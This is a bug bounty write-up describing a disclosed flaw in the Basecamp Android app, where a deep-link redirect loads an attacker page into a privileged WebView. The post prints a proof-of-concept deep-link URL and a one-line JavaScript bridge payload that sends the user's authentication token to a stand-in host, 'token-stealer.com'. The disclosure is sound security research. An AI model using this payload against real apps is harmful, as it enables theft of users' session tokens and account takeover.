Android security — $6,337 vulnerability in basecamp
Skip to the report: https://hackerone.com/reports/1372667

Background
Basecamp (https://basecamp.com) provides an app which is used by businesses to store, share and collaborate either internally or with their clients. Generally, people belong to organisations, and they are able to share photos, videos, posts, and all sorts of other files through the platform.
The vulnerability
The basecamp android app exposes an ‘intent provider’ which, amongst other things, can handle deep links into the app. It follows a fairly common pattern which ultimate says — if this is an “internal” link (i.e. it goes to a basecamp owned domain) do one thing, otherwise open the link in a vanilla webview.
Whilst scanning through this logic, I found this snippet of code:
The webview activity is something that shouldn’t be available to a 3rd party application, and shouldn’t go to a 3rd party website.
Follow the logic with this URL:
https://3.basecamp.com/5218370/verify?proceed_to=<attacker_website>
And you’ll see that WebViewActivity gets opened with ‘intentUrl’ set to <attacker_website>.
What then?
The attack itself was actually pretty benign, the WebViewActivity class just loaded my attacker_website, but it was almost identical to the webview that would have loaded if I’d opened the <attacker_website> directly in the intent. There was however, one key difference; the app used an open sourced project (although one that basecamp themselves developed) called ‘turbolinks’
What this added, when combined with the turbolinks android adapter, was for me to execute javascript commands that then translated into the javascript native bridge. One command used within the app was
openNativeImageViewer
This seems fairly innocuous, but in fact it’s quite important because files (including images) need to be pulled from a remote basecamp server, and should only be accessible to authorised users — which suggests that the auth token would be sent with any request for an image. Turns out this was correct; I changed my payload to point to a html page I hosted, and inside that html page placed the following code:
<script>NativeApp.openNativeImageViewer("[{'download_url': 'https://token-stealer.com/image.jpg', 'preview_url': 'https:/token-stealer.com/image.jpg', 'caption':'ViewImage'}]", 0)</script>
The flow of attack now looks like this:
- Send a deeplink URL to the basecamp app to open
- The app will open the app, and open the ‘proceed_to’ url inside the WebViewActivity class
- The WebViewActivity will render the proceed_to html (my stage 1 attack) in a special webview
- That webview will execute the ‘openNativeImageViewer’ which opens (funny enough) a native image view
- That image viewer goes to a URL (again controlled by me) and adds that users’s authentication (i.e. jwt) token in the header
Conclusions
I quite enjoyed this exploit because it had two separate elements to it — bypassing the URL in order to get my html page loaded into a protected activity was fun, digging through to find a way of jumping to the native code from inside javascript was even more fun, and the fact I could then egress JWT tokens was the cherry on top.
Thanks for reading!